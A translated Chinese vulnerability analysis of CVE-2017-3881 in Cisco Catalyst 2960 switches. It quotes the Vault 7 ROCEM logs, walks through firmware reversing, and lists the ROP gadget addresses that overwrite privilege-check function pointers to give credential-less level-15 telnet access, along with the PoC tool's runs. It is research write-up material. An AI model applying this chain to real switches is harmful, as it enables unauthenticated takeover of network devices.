【漏洞分析】CVE-2017-3881:思科 Catalyst 交换机远程代码执行漏洞分析

http://p1.qhimg.com/t01bb225ea2494cc283.jpg

翻译:shan66

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

您的Catalyst交换机上是否启用了telnet? 如果是的话,那就要小心了。本文将向读者介绍针对配备了最新固件的Catalyst 2960交换机的远程代码执行漏洞的概念验证攻击技术。具体的漏洞利用代码可以从这里下载。以下是对2017年3月7日中情局泄露的机密文件中的一个安全漏洞的利用开发流程的详细说明,此外,思科公司于2017年3月17日也公开披露了该漏洞的详细情况。但是,截止撰写本文时,仍然没有可用的补丁。尽管如此,还是有一个补救措施的,那就是禁用telnet,并代之以使用SSH。


CIA泄漏的Vault 7 

2017年3月7日,中央情报局的一系列文件被泄露,并被公布到维基解密上。其中,一份文件中涉及了一个影响多款Cisco交换机的远程代码执行漏洞。这个漏洞在泄露的文档中的代号为ROCEM。虽然提到的技术细节很少,但仍然引起了人们的注意。

Vault 7的文档暴露了实际的漏洞利用代码的测试过程,但是没有泄露漏洞利用的源代码。根据泄露的内容来看,有两点格外引入注目:该工具可以以交互模式或设置模式启动。其中,交互模式通过telnet发送有效载荷,并能够在同一telnet连接的上下文中立即向攻击者提供命令shell。下面的内容引自该文档

Started ROCEM interactive session - successful: 
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -i 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin
****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Interactive
****************************************
Proceed? (y/n)y
Trying 127.0.0.1...
[*] Attempting connection to host 192.168.0.254:23
Connected to 127.0.0.1.
Escape character is '^]'.
[+] Connection established
[*] Starting interactive session
User Access Verification
Password:
MLS-Sth#
MLS-Sth# show priv
Current privilege level is 15
MLS-Sth#show users
Line User Host(s) Idle Location
* 1 vty 0 idle 00:00:00 192.168.221.40
Interface User Mode Idle Peer Address
MLS-Sth#exit
Connection closed by foreign host.

设置模式。修改交换机内存,以便将来可以在无需密码的情况下建立telnet连接。下面的内容引自该文档: 

Test set/unset feature of ROCEM
DUT configured with target configuration and network setup
DUT is accessed by hopping through three flux nodes as per the CONOP
Reloaded DUT to start with a clean device
From Adverse ICON machine, set ROCEM:
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin
****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Set
****************************************
Proceed? (y/n)y
[*] Attempting connection to host 192.168.0.254:23
[+] Connection established
[*] Sending Protocol Step 1
[*] Sending Protocol Step 2
[+] Done
root@debian:/home/user1/ops/adverse/adverse-1r/rocem#
Verified I could telnet and rx priv 15 without creds:
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
Trying 192.168.0.254...
Connected to 192.168.0.254.
Escape character is '^]'.
MLS-Sth#
MLS-Sth#show priv
Current privilege level is 15
MLS-Sth#

在研究此漏洞时,我们发现了一段非常有用的信息,即telnet的调试输出。下面是引自该文档的内容: 

14. Confirm Xetron EAR 5355 - Debug telnet causes anomalous output 
  1.Enabled debug telnet on DUT
  2.Set ROCEM
  3.Observed the following:
    000467: Jun 3 13:54:09.330: TCP2: Telnet received WILL TTY-SPEED (32) (refused)
    000468: Jun 3 13:54:09.330: TCP2: Telnet sent DONT TTY-SPEED (32)
    000469: Jun 3 13:54:09.330: TCP2: Telnet received WILL LOCAL-FLOW (33) (refused)
    000470: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LOCAL-FLOW (33)
    000471: Jun 3 13:54:09.330: TCP2: Telnet received WILL LINEMODE (34)
    000472: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LINEMODE (34) (unimplemented)
    000473: Jun 3 13:54:09.330: TCP2: Telnet received WILL NEW-ENVIRON (39)
    000474: Jun 3 13:54:09.330: TCP2: Telnet sent DONT NEW-ENVIRON (39) (unimplemented)
    000475: Jun 3 13:54:09.330: TCP2: Telnet received DO STATUS (5)
    000476: Jun 3 13:54:09.330: TCP2: Telnet sent WONT STATUS (5) (unimplemented)
    000477: Jun 3 13:54:09.330: TCP2: Telnet received WILL X-DISPLAY (35) (refused)
    000478: Jun 3 13:54:09.330: TCP2: Telnet sent DONT X-DISPLAY (35)
    000479: Jun 3 13:54:09.330: TCP2: Telnet received DO ECHO (1)
    000480: Jun 3 13:54:09.330: Telnet2: recv SB NAWS 116 29
    000481: Jun 3 13:54:09.623: Telnet2: recv SB 36 92 OS^K'zAuk,Fz90X
    000482: Jun 3 13:54:09.623: Telnet2: recv SB 36 0 ^CCISCO_KITS^Ap

请注意该服务在最后一行接收到的CISCO_KITS选项,这是一个非常重要的字符串。


思科的漏洞报告

思科公司于2017年3月17日公布了其交换机中存在的这个漏洞。这份报告是基于Vault 7中的文档:

Cisco IOS和Cisco IOS XE软件中的思科集群管理协议(CMP)处理代码中的漏洞可能允许未经身份验证的远程攻击者重新加载受影响的设备,或者远程执行具有更高权限的代码。

在撰写本文时,除了下段文字之外,仍然没有更多的细节可用:

集群管理协议在内部使用Telnet作为集群成员之间的信令和命令协议。这个漏洞是由于两个因素共同导致的:

没有将与CMP有关的Telnet选项限制在集群成员之间的内部本地通信中,而是接受和处理通过任何与受影响设备的Telnet连接发送的此类选项,与此同时,也没有正确处理畸形的与CMP有关的Telnet选项。

长话短说,该漏洞允许攻击者利用telnet服务在目标交换机上远程执行代码。但为了应用这个报告,我需要更多的信息。所以我决定深入研究一下思科集群管理协议。


交换机群集

好吧!我搞了两个Catalyst 2960交换机来研究这个漏洞。集群技术会将交换机设置为主从关系。主交换机能够在从交换机上获得特权命令shell。正如Cisco在其报告中所提到的那样,telnet被用作集群成员之间的命令协议。有关群集的信息可以在这里找到,这里是一个设置群集环境的例子。

现在,我们来考察一下集群成员之间的通信。以下是主交换机的配置: 

cluster enable CLGRP 0
cluster member 1 mac-address xxxx.xxxx.xxxx

这会把附近的交换机添加为集群的从交换机。rcommand <num>允许从主交换机的接口上获得从设备的命令接口。这符合设计预期。

catalyst1>rcommand 1
catalyst2>who
    Line       User       Host(s)              Idle       Location
*  1 vty 0                idle                 00:00:00 10.10.10.10
  Interface      User        Mode                     Idle     Peer Address

我们来看看rcommand生成的流量:

http://p2.qhimg.com/t01b6f5e2062adac053.png

嘿! telnet流量能干啥? 报告明确指出:

集群管理协议在内部使用Telnet作为集群成员之间的信令和命令协议。

不错,实际上运行show version可以看到更多的流量: 

catalyst2>show version
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE1, RELEASE SOFTWARE (fc1)

阿哈!Telnet流量实际上被封装在第2层的LLC数据包中。如果仔细观察的话,在源和目的地字段中就会注意到带有MAC地址的IP数据包。在这些“IP”数据包之内,含有telnet会话的有效TCP帧。

http://p4.qhimg.com/t0165f3a0cce713fdff.png

telnet会话通常出现在telnet选项磋商之前,其中包括:终端大小、终端类型等信息。要想了解更多信息,请参考RFC。

在提交catalyst2>消息之前,会向服务器端一个telnet选项: 

http://p7.qhimg.com/t01b92cd694505ea82d.png

在这里,您可以看到从主交换机发送到从交换机的telnet选项“CISCO_KITS”。在执行漏洞利用代码期间出现的这个字符串,同样出现在Vault 7文档中,并且一模一样。接下来,我们将深入考察交换机的内部原理。


搞定固件

固件位于交换机的flash:<version>.bin中。

catalyst2#dir flash:
Directory of flash:/
    2  -rwx     9771282   Mar 1 1993 00:13:28 +00:00  c2960-lanbasek9-mz.122-55.SE1.bin
    3  -rwx        2487   Mar 1 1993 00:01:53 +00:00  config.text

内置的ftp客户端允许将此固件传输至任意ftp服务器。好,现在我们就借助binwalk来分析和提取该文件的内容: 

$ binwalk -e c2960-lanbasek9-mz.122-55.SE1.bin 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
112           0x70            bzip2 compressed data, block size = 900k

为了便于对获取的二进制数进行静态分析,我们最好找到固件加载的偏移量。实际上,在引导过程中,该偏移量将打印输出到串行控制台中: 

Loading "flash:c2960-lanbasek9-mz.122-55.SE1.bin"...@@@@@@@@@@@@@@@@@@@@@@
File "flash:c2960-lanbasek9-mz.122-55.SE1.bin" uncompressed and installed,
entry point: 0x3000
executing...

这时候,IDA就该上场了。这里的CPU架构是PowerPC 32位BigEndian。下面,我们将这个二进制文件加载到0x3000处: 

http://p8.qhimg.com/t01fb289502d3e431c0.png


寻找字符串

还记得前面在群集通信中捕获的字符串CISCO_KITS吗?我们将从这里下手。在通过IDA观察大部分函数后,可以发现针对固件末尾处那些字符串的交叉引用。

http://p9.qhimg.com/t014157a1f476ceea18.png

“CISCO_KITS”字符串将被return_cisco_kits函数所引用,实际上该函数只是将该字符串作为char *返回。我们将重点关注调用return_cisco_kits的call_cisco_kits函数,该函数位于0x0004ED8C。

http://p5.qhimg.com/t01431fa7a4a92be3f3.png

因为telnet代码对于客户端和服务器而言是对称的,所以我们实际上可以看到发送到服务器端的缓冲区的格式为- %c%s%c%d:%s:%d :。这实际上与发送缓冲区中观察到的流量是一致的: 

if ( telnet_struct->is_client_mode ) // client mode? then send "CISCO_KITS" string
{
    if ( telnet_struct->is_client_mode == 1 )
    {
      cisco_kits_string_2 = (char *)return_cisco_kits();
      int_two = return_2();
      tty_str = get_from_tty_struct((telnet_struct *)telnet_struct_arg->tty_struct);
      *(_DWORD *)&telnet_struct_arg->tty_struct[1].field_6D1;
      format1_ret = format_1(
                               128,
                               (int)&str_buf[8],
                               "%c%s%c%d:%s:%d:",
                               3,
                               cisco_kits_string_2,
                               1,
                               int_two,
                               tty_str,
                               0);
      telnet_struct = (telnet_struct *)telnet_send_sb(
                                         (int)telnet_struct_arg,
                                         36,
                                         0,
                                         &str_buf[8],
                                         format1_ret,
                                         v8,
                                         v7,
                                         v6);
    }
}

大家有没有发现,这里有两个%s字符串修饰符,但是在流量样本中实际上只有一个字符串即CISCO_KITS,这是因为第二个字符串是空的,并且位于两个:字符之间。进一步观察函数的控制流程,我注意到处理第二个字符串时(这次是服务器端代码)有一些有趣的行为: 

for ( j = (unsigned __int8)*string_buffer; j != ':'; j = (unsigned __int8)*string_buffer )// put data before second ":" at &str_buf + 152
{
    str_buf[v19++ + 152] = j;
    ++string_buffer;
}

我们发送取自第二个%s字符串中的数据的时候,实际上会一直复制到:字符,并且没有检查位于堆栈上的目标缓冲区的目标边界。这会出现什么情况? 没错, 缓冲区溢出! 

http://p4.qhimg.com/t018efb62b8d7f57fc7.png


让代码运行起来

实际上,要想控制指令指针是很容易的,因为可以用发送的缓冲区来覆盖它。但问题是:堆和(位于堆上的)栈是不可执行的。我的最佳选择是,启用数据和指令缓存。以下内容引自Felix Lindner在BlackHat 2009上的演示文稿: 

http://p0.qhimg.com/t011953578b7ee28d33.png

该ROP上场了

由于没有办法在堆栈上执行代码,所以我不得不将其用作数据缓冲区并重用固件中的现有代码。这种做法的思想是,通过某种方式链接函数的Epilog来完成任意的内存写操作。但等一下,写什么呢? 我们先来看看反编译的0x00F47A34处的函数: 

if ( ptr_is_cluster_mode(tty_struct_var->telnet_struct_field) )
{
  telnet_struct_var = tty_struct_var->telnet_struct_field;
  ptr_get_privilege_level = (int (__fastcall *)(int))some_libc_func(0, (unsigned int *)&dword_22659D4[101483]);
  privilege_level = ptr_get_privilege_level(telnet_struct_var);// equals to 1 during rcommand 1
  telnet_struct_1 = tty_struct_var->telnet_struct_field;
  ptr_telnet_related2 = (void (__fastcall *)(int))some_libc_func(1u, (unsigned int *)&dword_22659D4[101487]);
  ptr_telnet_related2(telnet_struct_1);
  *(_DWORD *)&tty_struct_var->privilege_level_field = ((privilege_level << 28) & 0xF0000000 | *(_DWORD *)&tty_struct_var->privilege_level_field & 0xFFFFFFF) & 0xFF7FFFFF;
}
else
{
  //generic telnet session
}

这里发生了一些有趣的事情。首先要强调的是,ptr_is_cluster_mode和ptr_get_privilege_level都是通过引用全局变量间接进行调用的。检查地址为0x00F47B60的代码行,我们发现is_cluster_mode函数的地址是从0x01F24A7处的dword中加载的。类似的,get_privilege_level函数的地址则是从0x3F47B8C处的r3寄存器中加载的。此时,r3的内容则是“残留”在地址0x022659D4 + 0x28 + 0xC处的一个已经解除引用的指针。

http://p9.qhimg.com/t011001a5265dfb0312.png

如果ptr_is_cluster_mode调用返回非零值,并且ptr_get_privilege调用返回-1之外的值,那么我们将收到一个telnet shell,并且不需要提供任何登陆凭证。下面的代码用来检查变量privilege_level的值: 

http://p8.qhimg.com/t012f9af733daf241cf.png

如何才能覆盖这些函数指针,让它总是返回所需的正值的呢? 由于堆和栈无法直接执行,所以我不得不重用现有的代码来执行此类的内存写操作。为此,可以使用以下ROP零件: 

0x000037b4: 
    lwz r0, 0x14(r1)
    mtlr r0
    lwz r30, 8(r1)
    lwz r31, 0xc(r1)
    addi r1, r1, 0x10 
    blr

将is_cluster_mode函数指针加载到r30中,然后加载将该指针覆盖为r31的值。用于覆盖的值是一个始终返回1的函数的地址: 

http://p3.qhimg.com/t01a38b0d912bb4ee08.png

0x00dffbe8: 
    stw r31, 0x34(r30)
    lwz r0, 0x14(r1)
    mtlr r0
    lmw r30, 8(r1)
    addi r1, r1, 0x10
    blr

完成实际的写操作。

0x0006788c: 
    lwz r9, 8(r1)
    lwz r3, 0x2c(r9)
    lwz r0, 0x14(r1)
    mtlr r0
    addi r1, r1, 0x10
    blr
0x006ba128: 
    lwz r31, 8(r1)
    lwz r30, 0xc(r1)
    addi r1, r1, 0x10
    lwz r0, 4(r1)
    mtlr r0
    blr

上面两个零件会把get_privilege_level函数的指针加载到r3中,同时加载一个将该其覆盖为r31的值。目标值是一个返回15的函数的地址: 

http://p8.qhimg.com/t016a579d11db1bb59a.png

0x0148e560: 
    stw r31, 0(r3)
    lwz r0, 0x14(r1)
    mtlr r0
    lwz r31, 0xc(r1)
    addi r1, r1, 0x10
    blr

这个Epilog完成最终的写操作并返回到合法的执行流程。当然,应该对堆栈结构进行相应的格式化,以便使这个rop链可以正常工作。为了了解能够使该rop链按预期运行的实际堆栈布局,可以参考漏洞利用源码。


运行漏洞利用代码

忙活一天之后,我终于搞定了一个工具,可以用来给一些重要函数指针打补丁的工具,这些函数之所以重要,是因为它们是处理连接和权限的。请注意,漏洞利用代码严重依赖于交换机上所使用的固件版本。对某些不同的固件版本来说,这里的漏洞利用代码很可能会导致设备崩溃。

根据对较旧的固件SE1的静态和动态分析的了解,我们为最新的建议固件12.2(55)SE11构建了一个漏洞利用代码。固件版本之间的唯一区别,在于函数和指针偏移的不同。此外,该漏洞利用代码运行机制使得我们可以轻松地将更改还原。下面举例说明: 

$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: 'xffxfbx01xffxfbx03xffxfdx18xffxfdx1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.
catalyst1#show priv
Current privilege level is 15
catalyst1#show ver
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE (fc3)
...
System image file is "flash:c2960-lanbasek9-mz.122-55.SE11.bin"
...
cisco WS-C2960-48TT-L (PowerPC405) processor (revision B0) with 65536K bytes of memory.
...
Model number                    : WS-C2960-48TT-L
...
Switch Ports Model              SW Version            SW Image                 
------ ----- -----              ----------            ----------               
*    1 50    WS-C2960-48TT-L    12.2(55)SE11          C2960-LANBASEK9-M        
Configuration register is 0xF

撤消更改: 

$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --unset
[+] Connection OK
[+] Recieved bytes from telnet service: 'xffxfbx01xffxfbx03xffxfdx18xffxfdx1frncatalyst1#'
[+] Sending cluster option
[+] Unsetting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Escape character is '^]'.
User Access Verification
Password:

这个RCE漏洞的POC代码可用于两种固件版本。这个漏洞利用代码的DoS版本可作为metasploit模块使用,适用于Cisco报告中提到的大多数型号的交换机。

(完)